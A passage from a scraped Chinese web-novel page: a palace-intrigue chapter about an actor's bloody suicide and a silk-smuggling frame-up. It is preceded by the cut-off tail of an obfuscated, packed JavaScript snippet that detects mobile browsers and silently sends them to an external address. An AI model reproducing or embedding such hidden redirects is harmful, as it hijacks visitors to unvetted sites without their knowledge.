d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772037|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一曲终了,他取下那支曾被公孙带落的珠钗,抬眸望向那重重宫阙的方向,唇边扬起一抹极温柔,却极哀伤的笑容。 下一刻,他反手握簪,当胸刺下! 鲜血淌淌而出,如同盛放的红梅,在华丽的戏服上染开一片凄艳。 在众人惊诧恐惧的目光下,踉跄倒地的他,用尽最后力气,蘸着自己的鲜血,在那方素帕上,写下一个巨大的、扭曲的、饱含无尽怨愤与绝望的字:“谶”。 最后一笔落下,手指也随之颓然垂下。一代名伶就此陨落,世间再无清漪的杜丽娘。 “不羡鸳鸯只羡凰。二人情浓时的誓言,到头来竟成了谶语。公孙凤凰入宫,位极人臣,却让清漪如他戏中人般,血染戏台,殉了这份情。”孔阳露出苦笑,“这个‘谶’字,他写得一点儿不假。” 杨柯急切追问道:“那……公孙大人呢?” 孔阳的语气带着冰冷的平静:“阿瑶不愧是能在深宫立足的狠角色。听闻清漪的死讯后,竟一滴泪都未落下。”她又顿了顿,“不过,从那以后,她也再未听过一次戏了。” 听闻此语,杨柯只觉无可奈何。她明白,照着公孙的性子,留给她的岂止是悲伤?深宫如战场,为昔日爱人落泪都已是奢望。恐怕那巨大到难以承受的绝望和悔恨,只能被生生咽下。 “后来,这手帕经由撷芳园的人送到公孙府邸,被拒绝后由辗转到了我手中。那日,我递给公孙帕子时,她竟然笑了出来,不过那笑,比哭还难看。” 杨柯再次低头凝着帕子,“谶”字的血迹早已干涸,但在起笔和转折的几处缝隙里,竟然还渗着一些更为深暗、质地更为粗糙的印记。它们并不像是用指尖蘸着血自然流淌,而像是被人用指甲,狠狠地抠挖、抓挠进丝绢的纹理之中。 天长地久有时尽,此恨绵绵无绝期。 “阿柯,你看呐,”孔阳望着虚空处,眼中压抑的星火却灼灼燃烧,“女子的命运总由男子掌握,莫说前程归宿,就连心底喜欢何人,也如笼中雀鸟,不容自主。”她话音陡然转厉,“可他们呢?坐在高高的位子上,披着锦绣,顶着冠冕,口中念着仁义道德,背地里却做着见不得光的下贱勾当。” 孔阳的话,字字如锥,刺入杨柯心底。她想起进宫以来的所见所闻,又忆起方才宇文泰所说的那句“同锋而异形”,心中触动的同时又复杂万千,只觉喉头哽住,无言以对。 “女人,总和牺牲这两个字如影随形。”她的话音还未散尽,忽然,一个宫女跌跌撞撞地跑了过来:“殿下!殿下!不好了!” 孔阳道:“你着急忙慌的做什么?难不成府里走了水?” “比那更凶险呢!是易大人,还有沈老板……” 孔阳脸色微变:“怎么回事?” “圣上急召易大人进宫!说是沈老板私吞了军需库里的辽东生丝,还是……还是用您的府印作保。” 孔阳怒道:“一派胡言!我何时授过这印信?” 宫女慌忙摇头:“没人知道。可是这事好生蹊跷,竟把您也牵扯进去。” 辽东生丝?杨柯忽然想起袖中揣着的青丝,顿感后脊一凉。难道沈澜之送来香囊,就是在暗中透露易望林给沈裕之的陷阱,向她求助? “易大人为何被召?”见杨柯冷不丁问起易望林来,宫女愣了愣,接着回道:“听说是工部得了风声,害怕捅了篓子,先告诉易大人,随后易大人率先禀明圣上。如今正在勤政殿呢。听说工部的人已经围住庆云号的库房,正在劫获沈裕之的生丝!” 忽然,杨柯心头剧震,她昨日刚听王二小从钱庄带来消息,说庆云号囤积大批生丝,沈裕之早已抵押大半,而波斯订单又迫在眉睫,他定是着了易望林的道,将那辽东生丝收入囊中,结果引狼入室,如今成了砧板上的鱼肉! 杨柯握紧袖中香囊,对孔阳道:“殿下,此事涉及凤印,迟则生变,咱们还是速速前去吧。” 孔阳颔首道:“走吧。”